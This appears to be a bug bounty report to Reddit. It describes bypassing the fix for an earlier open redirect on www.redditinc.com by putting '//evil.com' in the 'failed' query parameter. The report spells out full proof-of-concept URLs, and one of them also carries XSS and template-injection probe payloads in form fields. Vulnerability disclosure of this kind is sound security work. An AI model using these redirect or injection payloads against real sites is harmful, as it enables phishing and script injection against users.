Open Redirect on www.redditinc.com via `failed` query param bypass after fixed bug #1257753

How it was found

hello dear support

i have found bypass to open redirect this submission #1257753 after the fixed by sec team {F1394378} old open redirect it;s fixed and not working this url https://www.redditinc.com/ama?action=zendesk%2fdefault%2fsubmit&redirect=74bcbfb4f9c047fb4e467dd203ca3b30f2b31216551ab9db2bf44911c029d506thank-you%2fama-form-step-1&success=thank-you%2fama-form-step-1&failed=http://evil.com&ticket_form_id=360000307211&subject=AMA+Request&name=%27%22%3e%3c%2fscript%3e%3cimg+src%3dx+onerror%3dalert%28%29%3e%7b%7b7*7%7d%7d&[email protected]&[email protected]&participants=%27%22%3e%3c%2fscript%3e%3cimg+src%3dx+onerror%3dalert%28%29%3e%7b%7b7*7%7d%7d&description=%27%22%3e%3c%2fscript%3e%3cimg+src%3dx+onerror%3dalert%28%29%3e%7b%7b7*7%7d%7d&organization=%27%22%3e%3c%2fscript%3e%3cimg+src%3dx+onerror%3dalert%28%29%3e%7b%7b7*7%7d%7d&timeframe=next-week&timezone=%28GMT-05%3a00%29+Eastern+Time+%28US+%26+Canada%29&g-recaptcha-response=03AGdBq26GE8j1nvvxRFyoLySXC_sqwwVN0y8SUOy5Dt_EpgjZ_NcTluixasj63r4R-p88FygQDqWM_xAD2usiKGStmYqRt6o7DKUbfFAoJYH_e2RQnymyCPuln8k3AKMBLEVZ_aGU0hoCqzivt7ZaZWKARPDhrSOacKG4M5O7KD7LIbDAq28NtmuK7ByV0oHsM2uUQOwSv8kfsGRh5pXjLo4No1X2tlQUmj1cy7vEPQ0TJvpWzCLnc8vmhl3tjraPCqIXYkrMuf1nqAPx_0mnggUk_jUAy21JSJVGHJroH3asn70y3wOfCr_nYNAyfWo2mm3Ar5iXNwBOkq7ERaltBj9ZSaZdcOBMTq8tfKrR1mZ0h82owoCQTno3ZXHplZ7XHhegeJDOw5F4dcLHSKmiZfUNDkRqSuCO0HfDxov2ty0FWn_y9RR45fdABD--c0dqITZEUcWqJrkx&agreement=yes this old submission

and bypass here

https://www.redditinc.com/ama?action=zendesk%2fdefault%2fsubmit&redirect=74bcbfb4f9c047fb4e467dd203ca3b30f2b31216551ab9db2bf44911c029d506thank-you%2fama-form-step-1&success=thank-you%2fama-form-step-1&failed=//evil.com&ticket_form_id=360000307211&subject=AMA+Request&name=ergergerg&[email protected]&[email protected]&participants=ergerg&description=ergerg&organization=ergerg&timeframe=month-plus&timezone=%28GMT-07%3a00%29+Arizona&g-recaptcha-response=03AGdBq27Lwm_f_tiYnQMq03oi7u4iTRuxyKgIuJd80Atn2dslKRSRtojLo4zmE7bxWVskHfPWbwB1jhB_nFFnONPa8m3h1ad16G4olvmuj8uTGQEW_LpXhKG3bJqVepH4OVWkZTSo7-sCuhI6ZmyZDa03Ai3zrUvGUeJDUoQGDWW4WgdglWO3TqBzQt_lDcizkX2yGHxasyCkNiifMuarK2Bp6oH52kTUtdnSHoVELj6qDIw0-B1ytpJzKBodibN7txKqSA7-airAZUH7oGU6HZHlH5BW54kJluRlAbGWsL_pMoj6hwYwVFZ7xZzmktYtyHgn5e3TYvd4lUTwmMTReE1v4X0WIID41KgSj9Fcn8KYGo85w5pXY72o-BKWxirNxs_2lh9-WIITsqEL3eTIttbPueaZ5aIb7PS5R51r8nhnTygrWv6_NI8Y5LroEgATxHEch6bWq6-5&agreement=yes

i bypass and i add this //evil.com to failed=

{F1394382}

{F1394384}

Impact

Open Redirect and bypass